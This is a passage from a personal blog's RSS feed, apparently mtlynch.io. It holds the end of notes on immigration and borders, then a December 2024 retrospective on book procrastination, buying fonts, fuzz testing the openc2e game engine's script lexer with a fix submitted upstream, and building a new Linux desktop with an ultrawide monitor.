 &lt;td>1065.1&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Unknown&lt;/td>
 &lt;td>16&lt;/td>
 &lt;td>4.8&lt;/td>
 &lt;td>2.0&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Visa Waiver Program (VWP)&lt;/td>
 &lt;td>14&lt;/td>
 &lt;td>1.0&lt;/td>
 &lt;td>3.0&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Asylum&lt;/td>
 &lt;td>13&lt;/td>
 &lt;td>9.0&lt;/td>
 &lt;td>669.3&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Illegal&lt;/td>
 &lt;td>9&lt;/td>
 &lt;td>0.0&lt;/td>
 &lt;td>0.0&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>K-1 fiancé(e)&lt;/td>
 &lt;td>1&lt;/td>
 &lt;td>14.0&lt;/td>
 &lt;td>17.0&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Government (A-2)&lt;/td>
 &lt;td>1&lt;/td>
 &lt;td>3.0&lt;/td>
 &lt;td>8.0&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>H-1B&lt;/td>
 &lt;td>1&lt;/td>
 &lt;td>0.0&lt;/td>
 &lt;td>0.0&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>&lt;strong>All&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>219&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>3046.0&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>17077.0&lt;/strong>&lt;/td>
 &lt;/tr>
 &lt;/tbody>
&lt;/table>
&lt;h3 id="radcliffe-line">&lt;a href="https://en.wikipedia.org/wiki/Radcliffe_Line">Radcliffe line&lt;/a>&lt;/h3>
&lt;ul>
&lt;li>In 1947, British lawyer Cyril Radcliffe was assigned to divide up Punjab and Bengal, as UK was abdicating rule of India.&lt;/li>
&lt;li>Radcliffe divided the region by religion between India and Pakistan, but it was impossible to create a simple line border, so there were enclosed parts that were exceptions.
&lt;ul>
&lt;li>&lt;a href="https://en.wikipedia.org/wiki/Dahala_Khagrabari">Dahala Khagrabari&lt;/a> is a particularly interesting exception. It&amp;rsquo;s a pocket of Indian territory within Bangladeshi territory within Indian territory.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>The Radcliffe Line displaced 14 million people and subsequent conflicts killed up to 2 million.&lt;/li>
&lt;li>The Radcliffe line stops in Kashmir, as Radcliffe left India and Pakistan to figure out the rest.
&lt;ul>
&lt;li>That led to a war and the &lt;a href="https://en.wikipedia.org/wiki/Line_of_Control">Line of Control&lt;/a>, which is a de facto border but still not legally recognized.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;h3 id="us-capacity-for-migrants">US capacity for migrants&lt;/h3>
&lt;ul>
&lt;li>75% of US population lives on 3.5% of its land.&lt;/li>
&lt;li>The US population could triple and be less crowded than France.&lt;/li>
&lt;li>Thomas Sowell observed that the entire world population could fit in Texas with single-family homes and yards.
&lt;ul>
&lt;li>This was in the early 80s when the world population was about half what it is now, so I think you could &lt;a href="https://www.pop.org/episode-1-overpopulation-the-making-of-a-myth/">currently fit everyone in tiny houses&lt;/a>.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>US has low population density relative to most other countries.
&lt;table>
 &lt;thead>
 &lt;tr>
 &lt;th>Country&lt;/th>
 &lt;th>Population Density (per sq mi)&lt;/th>
 &lt;/tr>
 &lt;/thead>
 &lt;tbody>
 &lt;tr>
 &lt;td>US&lt;/td>
 &lt;td>86&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>France&lt;/td>
 &lt;td>350&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Belgium&lt;/td>
 &lt;td>976&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Bangladesh&lt;/td>
 &lt;td>2,980&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Singapore&lt;/td>
 &lt;td>20,000&lt;/td>
 &lt;/tr>
 &lt;/tbody>
&lt;/table>
&lt;/li>
&lt;/ul>
&lt;h3 id="americans-overestimate-immigrants">Americans overestimate immigrants&lt;/h3>
&lt;ul>
&lt;li>&lt;a href="https://www.cato.org/survey-reports/e-pluribus-unum-findings-cato-institute-2021-immigration-identity-national-survey">2021 Cato study&lt;/a> found Americans think 40% of US population is first-generation immigrants, but the actual number is 14%.
&lt;ul>
&lt;li>&lt;em>&lt;strong>Ed&lt;/strong>: This is such a bizarre finding that I looked up the actual study to see if the question was worded confusingly. It seems unambiguous.&lt;/em>
&lt;blockquote>
&lt;p>If you were to estimate, about what percentage of the US population are immigrants (were born in another country)?&lt;/p>&lt;/blockquote>
&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul></content:encoded></item><item><title>Paternity Leave: Month 4</title><link>https://mtlynch.io/retrospectives/2024/12/</link><pubDate>Fri, 06 Dec 2024 00:00:00 +0000</pubDate><guid>https://mtlynch.io/retrospectives/2024/12/</guid><description>&lt;h2 id="highlights">Highlights&lt;/h2>
&lt;ul>
&lt;li>I found ways to procrastinate writing my book.&lt;/li>
&lt;li>I had fun fuzz testing open-source projects.&lt;/li>
&lt;li>I picked out components for a new high-end desktop computer for software development.&lt;/li>
&lt;/ul>
&lt;h2 id="goal-grades">Goal grades&lt;/h2>
&lt;p>At the start of each month, I declare what I&amp;rsquo;d like to accomplish. Here&amp;rsquo;s how I did against those goals:&lt;/p>
&lt;h3 id="enjoy-family-time">Enjoy family time&lt;/h3>
&lt;ul>
&lt;li>&lt;strong>Result&lt;/strong>: Continued to enjoy family time.&lt;/li>
&lt;li>&lt;strong>Grade&lt;/strong>: A&lt;/li>
&lt;/ul>
&lt;p>During my self-managed paternity leave, I&amp;rsquo;m continuing to enjoy the balance between my family time and my time working on personal and professional projects.&lt;/p></description><content:encoded>&lt;h2 id="highlights">Highlights&lt;/h2>
&lt;ul>
&lt;li>I found ways to procrastinate writing my book.&lt;/li>
&lt;li>I had fun fuzz testing open-source projects.&lt;/li>
&lt;li>I picked out components for a new high-end desktop computer for software development.&lt;/li>
&lt;/ul>
&lt;h2 id="goal-grades">Goal grades&lt;/h2>
&lt;p>At the start of each month, I declare what I&amp;rsquo;d like to accomplish. Here&amp;rsquo;s how I did against those goals:&lt;/p>
&lt;h3 id="enjoy-family-time">Enjoy family time&lt;/h3>
&lt;ul>
&lt;li>&lt;strong>Result&lt;/strong>: Continued to enjoy family time.&lt;/li>
&lt;li>&lt;strong>Grade&lt;/strong>: A&lt;/li>
&lt;/ul>
&lt;p>During my self-managed paternity leave, I&amp;rsquo;m continuing to enjoy the balance between my family time and my time working on personal and professional projects.&lt;/p>
&lt;h3 id="complete-and-publish-a-chapter-of-refactoring-english">Complete and publish a chapter of &lt;a href="https://refactoringenglish.com">&lt;em>Refactoring English&lt;/em>&lt;/a>&lt;/h3>
&lt;ul>
&lt;li>&lt;strong>Result&lt;/strong>: Worked on the chapter but didn&amp;rsquo;t publish anything.&lt;/li>
&lt;li>&lt;strong>Grade&lt;/strong>: D&lt;/li>
&lt;/ul>
&lt;p>I underestimated this goal when I wrote it. I had started one chapter years ago and kept returning to it sporadically. In my memory, the chapter was 80% complete already, but when I returned to it this time, it felt more like 20% complete.&lt;/p>
&lt;p>I got the chapter to about 60% done, but I didn&amp;rsquo;t focus as much as I could have.&lt;/p>
&lt;h2 id="i-need-to-stop-procrastinating-on-the-book">I need to stop procrastinating on the book&lt;/h2>
&lt;h3 id="maybe-i-need-new-fonts">Maybe I need new fonts&lt;/h3>
&lt;p>I started working on the first chapter of my book, but I kept feeling distracted by my site&amp;rsquo;s mediocre design.&lt;/p>













 








 
 
 

 
 
 

 
 
 





&lt;div class="img" style="max-width: 700px">



 &lt;a href="https://mtlynch.io/retrospectives/2024/12/before-font.jpg">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 700px, 98vw"
 srcset='https://mtlynch.io/retrospectives/2024/12/before-font_hu_9531dd75d5261735.jpg 300w, https://mtlynch.io/retrospectives/2024/12/before-font_hu_e1f7d5ac16421c8f.jpg 600w, https://mtlynch.io/retrospectives/2024/12/before-font_hu_e7b847145bbef998.jpg 800w, https://mtlynch.io/retrospectives/2024/12/before-font.jpg 1162w'
 src="https://mtlynch.io/retrospectives/2024/12/before-font.jpg" alt="" loading="lazy"/>
 &lt;/a>



&lt;/div>


&lt;p>My book&amp;rsquo;s website uses I simple design theme that I created. It&amp;rsquo;s just Bootstrap&amp;rsquo;s default CSS with some custom styling that I&amp;rsquo;ve added. I couldn&amp;rsquo;t point to any specific problem, but the look just felt off.&lt;/p>
&lt;p>I began looking at blogs and websites that I liked and tried out their fonts on my site:&lt;/p>
&lt;ul>
&lt;li>&lt;a href="https://www.jonashietala.se">Jonas Hietala&lt;/a> uses &lt;a href="https://practicaltypography.com/century-supra.html">Concourse&lt;/a> and &lt;a href="https://practicaltypography.com/century-supra.html">Century Supra&lt;/a>, which are paid fonts designed by &lt;a href="https://matthewbutterick.com/">Matthew Butterick&lt;/a>.&lt;/li>
&lt;li>&lt;a href="https://xeiaso.net/">Xe Iaso&lt;/a> uses Iosevka Aile Iaso, which turns out to be a font that &lt;a href="https://xeiaso.net/blog/iaso-fonts/">she designed herself&lt;/a>.&lt;/li>
&lt;li>&lt;a href="https://fasterthanli.me/">fasterthanlime&lt;/a> uses &lt;a href="https://www.brailleinstitute.org/freefont/">Atkinson Hyperlegible&lt;/a>, a font that the Braille Institute distributes for free because it&amp;rsquo;s good for people with vision impairment.&lt;/li>
&lt;/ul>
&lt;p>The font that looked best for the book&amp;rsquo;s website was &lt;a href="https://mbtype.com/fonts/concourse/">Concourse&lt;/a>, which led me to explore all of &lt;a href="https://mbtype.com">Matthew Butterick&amp;rsquo;s fonts&lt;/a>. For the first time ever, I purchased fonts instead of using a free font from Google Fonts. I used &lt;a href="https://mbtype.com/fonts/concourse/">Concourse&lt;/a> for the headings and &lt;a href="https://mbtype.com/fonts/heliotrope/">Heliotrope&lt;/a> for the text.&lt;/p>


&lt;figure class="gallery">
 &lt;div class="img-container">
 













 








 
 
 

 
 
 

 
 
 





&lt;div class="img" style="max-width: 1164px">



 &lt;a href="https://mtlynch.io/retrospectives/2024/12/before-font.jpg">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 1164px, 98vw"
 srcset='https://mtlynch.io/retrospectives/2024/12/before-font_hu_9531dd75d5261735.jpg 300w, https://mtlynch.io/retrospectives/2024/12/before-font_hu_e1f7d5ac16421c8f.jpg 600w, https://mtlynch.io/retrospectives/2024/12/before-font_hu_e7b847145bbef998.jpg 800w, https://mtlynch.io/retrospectives/2024/12/before-font.jpg 1162w'
 src="https://mtlynch.io/retrospectives/2024/12/before-font.jpg" alt="" loading="lazy"/>
 &lt;/a>



&lt;/div>















 








 
 
 

 
 
 

 
 
 





&lt;div class="img" style="max-width: 1164px">



 &lt;a href="https://mtlynch.io/retrospectives/2024/12/after-font.jpg">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 1164px, 98vw"
 srcset='https://mtlynch.io/retrospectives/2024/12/after-font_hu_fd71a567b2d36086.jpg 300w, https://mtlynch.io/retrospectives/2024/12/after-font_hu_661af0b11b32e40.jpg 600w, https://mtlynch.io/retrospectives/2024/12/after-font_hu_a0c74c633515477.jpg 800w, https://mtlynch.io/retrospectives/2024/12/after-font.jpg 1162w'
 src="https://mtlynch.io/retrospectives/2024/12/after-font.jpg" alt="" loading="lazy"/>
 &lt;/a>



&lt;/div>



 &lt;/div>
 &lt;figcaption>&lt;p>I switched the &lt;em>Refactoring English&lt;/em> website&amp;rsquo;s font to &lt;a href="https://mbtype.com/fonts/concourse/">Concourse&lt;/a> and &lt;a href="https://mbtype.com/fonts/heliotrope/">Heliotrope&lt;/a>&lt;/p>&lt;/figcaption>
&lt;/figure>

&lt;p>I was surprised at how much of a difference nice fonts made. It felt like cheating that I didn&amp;rsquo;t have to make any other design changes, and my site looked 3x better.&lt;/p>
&lt;h3 id="maybe-i-need-a-book-cover">Maybe I need a book cover&lt;/h3>
&lt;p>After installing my spiffy new fonts, I got to thinking about the cover for my book. I plan to commission a cover before I publish the book, so I might as well get it now. More people will be interested if they see a nice cover. So, I wrote &lt;a href="https://docs.google.com/document/d/1SUQ6GTeyL-XWmZYlJdQgyvQHZdHiUvCy0G-dh5nnrQM/edit?usp=sharing">a spec for the cover design&lt;/a> and hired a designer to work on it.&lt;/p>
&lt;h3 id="maybe-i-should-go-back-to-my-previous-idea">Maybe I should go back to my previous idea&lt;/h3>
&lt;p>A few days later, I got an email from a reader asking if they could buy access to the unfinished lessons in &lt;em>Hit the Front Page of Hacker News&lt;/em>. I sent them my two new unreleased lessons and a link to the old course. They seemed happy with the material. I got to thinking I should pause &lt;em>Refactoring English&lt;/em> and finish my reboot of &lt;em>Hit the Front Page of Hacker News&lt;/em>.&lt;/p>
&lt;h3 id="maybe-i-should-focus">Maybe I should focus&lt;/h3>
&lt;p>At this point, I noticed that I was finding an awful lot of activities that weren&amp;rsquo;t writing my book.&lt;/p>
&lt;p>It&amp;rsquo;s easy to get distracted because finishing the book feels like such a distant goal. And because it&amp;rsquo;s a book about writing, I feel like my writing has to be perfect, so I get hung up on wordsmithing everything.&lt;/p>
&lt;p>I think I&amp;rsquo;ll have a better feel for the book once I publish my first sample chapter and see reader feedback. I&amp;rsquo;m just going to push on until that&amp;rsquo;s done.&lt;/p>
&lt;h2 id="fuzzing-is-super-fun">Fuzzing is super fun&lt;/h2>
&lt;p>Notwithstanding the previous section, I had a lot of fun last month with fuzz testing.&lt;/p>
&lt;p>For most of November, I had a few hours to myself when I was waiting for my three-month-old&amp;rsquo;s first wakeup of the night, which could happen anywhere from 1-4 hours after we put him to bed. In those hours, it&amp;rsquo;s hard to focus on programming because I&amp;rsquo;m tired from the day and could be interrupted at any moment, but it&amp;rsquo;s the perfect time to fuzz test. Fuzzing requires a relatively low level of focus, as it&amp;rsquo;s mostly trial and error just getting things set up.&lt;/p>
&lt;h3 id="fuzzing-openc2e">Fuzzing openc2e&lt;/h3>
&lt;p>Nix &lt;a href="https://mtlynch.io/nix-fuzz-testing-1/">makes it easy&lt;/a> to set up fuzz testing workflows, and I feel like the world hasn&amp;rsquo;t caught on yet.&lt;/p>
&lt;p>One night, I read a blog post about &lt;a href="https://blog.fadyothman.com/meta-bug-bounty-fuzzing-netconsd-for-fun-and-profit-part-1-6ffe96eb1419">fuzzing a random open-source utility that Facebook published&lt;/a>, so I &lt;a href="https://mtlynch.io/notes/fuzz-netconsd/">spent an hour reproducing that fuzzing workflow with Nix&lt;/a>.&lt;/p>
&lt;p>A few nights later, I spent a couple of hours &lt;a href="https://gitlab.com/mtlynch/fuzz-openc2e">writing a fuzzer&lt;/a> for &lt;a href="https://openc2e.github.io/">openc2e&lt;/a>, the open-source reimplementation of the &lt;a href="https://en.wikipedia.org/wiki/Creatures_(video_game_series)">&lt;em>Creatures&lt;/em> game series&lt;/a>.&lt;/p>













 








 
 
 

 
 
 

 
 
 





&lt;figure class="img" style="max-width: 600px">



 &lt;a href="https://mtlynch.io/retrospectives/2024/12/Openc2e-c1-april2008.jpg">
 &lt;img
 
 sizes="(min-width: 768px) 600px, 98vw"
 srcset='https://mtlynch.io/retrospectives/2024/12/Openc2e-c1-april2008_hu_b60386fbb6580be4.jpg 300w, https://mtlynch.io/retrospectives/2024/12/Openc2e-c1-april2008_hu_209c0f0534762650.jpg 600w, https://mtlynch.io/retrospectives/2024/12/Openc2e-c1-april2008_hu_f8f8470d88656b77.jpg 800w, https://mtlynch.io/retrospectives/2024/12/Openc2e-c1-april2008.jpg 1000w'
 src="https://mtlynch.io/retrospectives/2024/12/Openc2e-c1-april2008.jpg" alt="" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>&lt;a href="https://openc2e.github.io/">openc2e&lt;/a> is the open-source reimplementation of the &lt;a href="https://en.wikipedia.org/wiki/Creatures_(video_game_series)">&lt;em>Creatures&lt;/em> game series&lt;/a>.&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>The original &lt;em>Creatures&lt;/em> game from 1996 included a custom scripting language and corresponding virtual machine. The language is called &lt;a href="https://creatures.fandom.com/wiki/CAOS">Creatures Agent Object Script (CAOS)&lt;/a>, and it lets players create custom add-ons for the game.&lt;/p>
&lt;p>CAOS is a low-level language that looks a bit like assembly:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-text" data-lang="text">&lt;span style="display:flex;">&lt;span>SETS VA00 &amp;#34;he&amp;#34;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>ADDS VA00 &amp;#34;llo&amp;#34;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>DBG: ASRT VA00 eq &amp;#34;hello&amp;#34;
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Enthusiasts have reimplemented a CAOS interpreter within openc2e, and I doubted that anyone had ever fuzzed it. But it&amp;rsquo;s a good thing to fuzz because it parses untrusted third-party code if you install add-ons.&lt;/p>
&lt;p>I started by fuzzing the lexer for the CAOS language, and I immediately found a bunch of crashes.&lt;/p>













 








 
 
 

 
 
 

 
 
 





&lt;figure class="img" style="max-width: 800px">



 &lt;a href="https://mtlynch.io/retrospectives/2024/12/fuzz-openc2e.webp">
 &lt;img
 
 sizes="(min-width: 768px) 800px, 98vw"
 srcset='https://mtlynch.io/retrospectives/2024/12/fuzz-openc2e_hu_fd603e4c3ce27255.webp 300w, https://mtlynch.io/retrospectives/2024/12/fuzz-openc2e_hu_5daec08f9bebbba4.webp 600w, https://mtlynch.io/retrospectives/2024/12/fuzz-openc2e_hu_1052fe4c76bae865.webp 800w, https://mtlynch.io/retrospectives/2024/12/fuzz-openc2e.webp 984w'
 src="https://mtlynch.io/retrospectives/2024/12/fuzz-openc2e.webp" alt="" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>Within a minute of fuzzing, I found 20 unique crashes in openc2e.&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>One of the crashes was just an unterminated double quote, which confirmed my suspicion that nobody had ever fuzzed the code.&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-text" data-lang="text">&lt;span style="display:flex;">&lt;span>* The following line crashes openc2e&amp;#39;s CAOS lexer.
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&amp;#34;
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>I made a &lt;a href="https://github.com/openc2e/openc2e/pull/215">pull request to fix the simplest crash with a unit test to demonstrate the fix&lt;/a>, but the project is semi-abandoned, so it might be a while before I can get all of my fixes in. I hope they eventually get time to review it because I think my PR is neat.&lt;/p>
&lt;h3 id="fuzzing-means-you-can-do-whatever-you-want">Fuzzing means you can do whatever you want&lt;/h3>
&lt;p>One of the most fun things about fuzzing with Nix is that you can mess around with the underlying project without bothering anyone.&lt;/p>
&lt;p>When I was trying to fuzz openc2e, I realized that the code I wanted to link against was compiled into an object that&amp;rsquo;s not friendly to linking. I was trying to figure out how to link against the code when I realized I could just &lt;a href="https://gitlab.com/mtlynch/fuzz-openc2e/-/blob/dc48bfbe62bdc4a99eab2e9662a780c253654558/share-openc2e-lib.patch">patch their Makefile&lt;/a> in my repo and make whatever changes I want.&lt;/p>
&lt;p>Usually, when I&amp;rsquo;m contributing to an open-source project, if I want to make a significant change like converting a library from private to public, I&amp;rsquo;d have to spend a lot of time understanding why it&amp;rsquo;s private to begin with and then make the case to maintainers for why it makes sense to export the library. But for fuzzing, I&amp;rsquo;m just off in my own personal sandbox, and I can futz around with whatever I want.&lt;/p>
&lt;h2 id="building-my-new-development-desktop">Building my new development desktop&lt;/h2>
&lt;p>I&amp;rsquo;m planning a dramatic transition in my software development habits: I&amp;rsquo;m going to write code like a normal person again.&lt;/p>
&lt;p>Starting around 10 years ago, I found it easier to develop software on Linux, but I still preferred Windows as my main OS. I solved this by running Linux VMs in VirtualBox on my Windows desktop. I used per-project VMs to avoid dependency conflicts (e.g., my Python 2 project messing up my Python 3 project).&lt;/p>
&lt;p>In 2017, I got tired of having to reboot all of my VMs every time I rebooted my Windows system, so I &lt;a href="https://mtlynch.io/building-a-vm-homelab-2017/">built my first homelab VM server&lt;/a>.&lt;/p>
&lt;p>By 2019, I was doing all of my development with VS Code and Remote SSH, which mostly works but is unusual enough to cause issues occasionally.&lt;/p>
&lt;p>Then, two changes happened in the last year:&lt;/p>
&lt;ol>
&lt;li>I realized that virtually all of the software I want is available on Linux. I&amp;rsquo;m growing frustrated with Microsoft&amp;rsquo;s increasingly invasive telemetry and ads in Windows, so I&amp;rsquo;m ready to switch to Linux.&lt;/li>
&lt;li>Ever since I discovered &lt;a href="https://mtlynch.io/notes/nix-dev-environment/">per-project environments in Nix&lt;/a>, I&amp;rsquo;ve stopped using per-project VMs, and I do all of my development in a single Debian VM with Nix installed.&lt;/li>
&lt;/ol>
&lt;p>These two changes mean I no longer need a VM server or a Windows desktop. I&amp;rsquo;m going to consolidate down to a single desktop running Linux with NixOS, as I&amp;rsquo;ve been enjoying NixOS on &lt;a href="https://mtlynch.io/retrospectives/2024/09/#making-nixos--framework-13-amd-7040-my-daily-driver">my Framework 13 laptop&lt;/a> for the past few months.&lt;/p>
&lt;p>I&amp;rsquo;m making an economically responsible choice by reducing two machines to one, which was how I rationalized overspending on my new system:&lt;/p>
&lt;table>
 &lt;thead>
 &lt;tr>
 &lt;th>Component&lt;/th>
 &lt;th>Old Desktop&lt;/th>
 &lt;th>New Desktop&lt;/th>
 &lt;/tr>
 &lt;/thead>
 &lt;tbody>
 &lt;tr>
 &lt;td>CPU&lt;/td>
 &lt;td>Intel Core i7-4790K&lt;/td>
 &lt;td>Ryzen 9 7950X&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Motherboard&lt;/td>
 &lt;td>ASRock X99 Extreme4&lt;/td>
 &lt;td>Gigabyte X870 Aorus Elite&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>GPU&lt;/td>
 &lt;td>ASUS GeForce GTX 970 STRIX 4GB&lt;/td>
 &lt;td>MSI RTX 4060 Ventus 2X 8GB&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>RAM&lt;/td>
 &lt;td>G.SKILL Ripjaws 4 32GB DDR4&lt;/td>
 &lt;td>G.Skill Trident Z5 RGB 64GB DDR5&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Storage&lt;/td>
 &lt;td>Samsung 980 PRO 2 TB&lt;/td>
 &lt;td>Crucial T705 2TB&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Case&lt;/td>
 &lt;td>Cooler Master HAF 912&lt;/td>
 &lt;td>Fractal Design Define 7 Compact&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>PSU&lt;/td>
 &lt;td>Corsair HX750i 750W&lt;/td>
 &lt;td>SilverStone Platinum PS-ST55F-PT 550W&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>CPU Cooler&lt;/td>
 &lt;td>Noctua NH-U9DXi4&lt;/td>
 &lt;td>Noctua NH-U12S redux&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Monitor&lt;/td>
 &lt;td>LG 34UMP95 34&amp;quot;&lt;/td>
 &lt;td>Samsung Odyssey OLED G9 49&amp;quot; Ultrawide&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Monitor Arm&lt;/td>
 &lt;td>AmazonBasics Monitor Arm&lt;/td>
 &lt;td>Ergotron HX HD&lt;/td>
 &lt;/tr>
 &lt;/tbody>
&lt;/table>
&lt;p>The disk is most often the bottleneck in my workflows, so I got the best of the best there, even though it feels indulgent. I only need a single OS disk, as most of my data is on my &lt;a href="https://mtlynch.io/budget-nas/">storage server&lt;/a>.&lt;/p>
&lt;p>The CPU is fast but not top-of-the-line. When I&amp;rsquo;m buying CPUs, I look at benchmarks and try to pick something that&amp;rsquo;s 80-90% as good as the best possible option but at 50% or less of top-end prices.&lt;/p>
&lt;p>The biggest extravagance is the monitor. It&amp;rsquo;s a ridiculous 49&amp;quot; ultrawide OLED:&lt;/p>













 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;figure class="img" style="max-width: 700px">



 &lt;a href="https://mtlynch.io/retrospectives/2024/12/new-monitor.webp">
 &lt;img
 
 sizes="(min-width: 768px) 700px, 98vw"
 srcset='https://mtlynch.io/retrospectives/2024/12/new-monitor_hu_ac434696c3935de9.webp 300w, https://mtlynch.io/retrospectives/2024/12/new-monitor_hu_948ab70783219e54.webp 600w, https://mtlynch.io/retrospectives/2024/12/new-monitor_hu_cb7321ab50c62b0e.webp 800w, https://mtlynch.io/retrospectives/2024/12/new-monitor_hu_628b8d8d2da4b521.webp 1200w, https://mtlynch.io/retrospectives/2024/12/new-monitor.webp 1200w'
 src="https://mtlynch.io/retrospectives/2024/12/new-monitor.webp" alt="" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>The 49&amp;quot; Samsung Odyssey G9 is the biggest indulgence of my new desktop.&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>I distinctly recall the joy I felt when I was 11 years old, and my dad came back from CompUSA and presented me with a box containing one of the largest monitors available, which was probably a 17&amp;quot; CRT. &amp;ldquo;Given the amount of time you&amp;rsquo;ll spend looking at your monitor,&amp;rdquo; he explained, &amp;ldquo;we might as well invest in a good one.&amp;rdquo; For context, both of my parents are programmers, and from a young age, I spent most of my free time at a computer.&lt;/p>
&lt;p>Ever since then, I&amp;rsquo;ve used my dad&amp;rsquo;s logic to justify buying premium monitors, and it&amp;rsquo;s served me well. I&amp;rsquo;m at my computer for 2500 hours per year. On a per-hour basis, the cost of a high-end monitor is basically nil.&lt;/p>
&lt;p>Plus, now that I&amp;rsquo;ve experienced &lt;a href="https://news.ycombinator.com/">Hacker News&lt;/a> at 5120x1440px resolution, I can never go back.&lt;/p>













 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;figure class="img" style="max-width: 700px">



 &lt;a href="https://mtlynch.io/retrospectives/2024/12/hn-ultrawide.webp">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 700px, 98vw"
 srcset='https://mtlynch.io/retrospectives/2024/12/hn-ultrawide_hu_87c454d923f3b32f.webp 300w, https://mtlynch.io/retrospectives/2024/12/hn-ultrawide_hu_f34496ec079bbd52.webp 600w, https://mtlynch.io/retrospectives/2024/12/hn-ultrawide_hu_9e7752bf6e8f07a8.webp 800w, https://mtlynch.io/retrospectives/2024/12/hn-ultrawide_hu_58b43c33c4f49200.webp 1200w, https://mtlynch.io/retrospectives/2024/12/hn-ultrawide.webp 5120w'
 src="https://mtlynch.io/retrospectives/2024/12/hn-ultrawide.webp" alt="" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>You haven&amp;rsquo;t truly browsed &lt;a href="https://news.ycombinator.com/">Hacker News&lt;/a> until you&amp;rsquo;ve done it at 5120x1400px resolution.&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;h2 id="learning-to-use-an-ultrawide-monitor">Learning to use an ultrawide monitor&lt;/h2>
&lt;p>I haven&amp;rsquo;t received all of the components for my new computer yet, but I already set up my new monitor. I quickly realized I needed a new strategy for managing windows on my desktop.&lt;/p>
&lt;p>My old monitor was 34&amp;quot;, and I mostly used Win+Left / Win+Right to dock windows to half-width on my desktop. With 5120px of width on my new monitor, I wanted to dock more than two windows at a time.&lt;/p>
&lt;p>I tried &lt;a href="https://github.com/LGUG2Z/komorebi">Komorebi&lt;/a>, but I found it too complicated. Then, I found &lt;a href="https://learn.microsoft.com/en-us/windows/powertoys/fancyzones">Fancy Zones&lt;/a>, and it does exactly what I want. It lets me define zones through a GUI, and then I can dock windows to those zones by hotkey or with the mouse.&lt;/p>
&lt;p>Here are my four zones:&lt;/p>
&lt;ol>
&lt;li>1000x1440px - Primary VS Code window&lt;/li>
&lt;li>1000x1440px - Secondary VS Code window&lt;/li>
&lt;li>1560x1440px - Primary web browser window&lt;/li>
&lt;li>1560x1440px - Secondary web browser window&lt;/li>
&lt;/ol>
&lt;p>I generally only dock web browsers and VS code windows. Everything else is just a floating window that I only use briefly.&lt;/p>
&lt;p>Limiting VS Code to 1000px in width is helpful because I prefer to keep only the editing pane open. If there&amp;rsquo;s more screen real estate, I forget and leave other panels open like the file explorer. But at 1000px, I can open side-panels occasionally, but it&amp;rsquo;s noticeable enough that I close them afterward and get back to focusing on the main editing panel.&lt;/p>


&lt;figure class="gallery">
 &lt;div class="img-container">
 













 








 
 
 

 
 
 

 
 
 





&lt;div class="img" style="max-width: 400px">



 &lt;a href="https://mtlynch.io/retrospectives/2024/12/distracting-panels.webp">
 &lt;img
 
 sizes="(min-width: 768px) 400px, 98vw"
 srcset='https://mtlynch.io/retrospectives/2024/12/distracting-panels_hu_bd4f4ce8892c348a.webp 300w, https://mtlynch.io/retrospectives/2024/12/distracting-panels_hu_d18747be3108925a.webp 600w, https://mtlynch.io/retrospectives/2024/12/distracting-panels_hu_39deef6f8998f832.webp 800w, https://mtlynch.io/retrospectives/2024/12/distracting-panels.webp 999w'
 src="https://mtlynch.io/retrospectives/2024/12/distracting-panels.webp" alt="" loading="lazy"/>
 &lt;/a>



&lt;/div>















 








 
 
 

 
 
 

 
 
 





&lt;div class="img" style="max-width: 400px">



 &lt;a href="https://mtlynch.io/retrospectives/2024/12/just-editor.webp">
 &lt;img
 
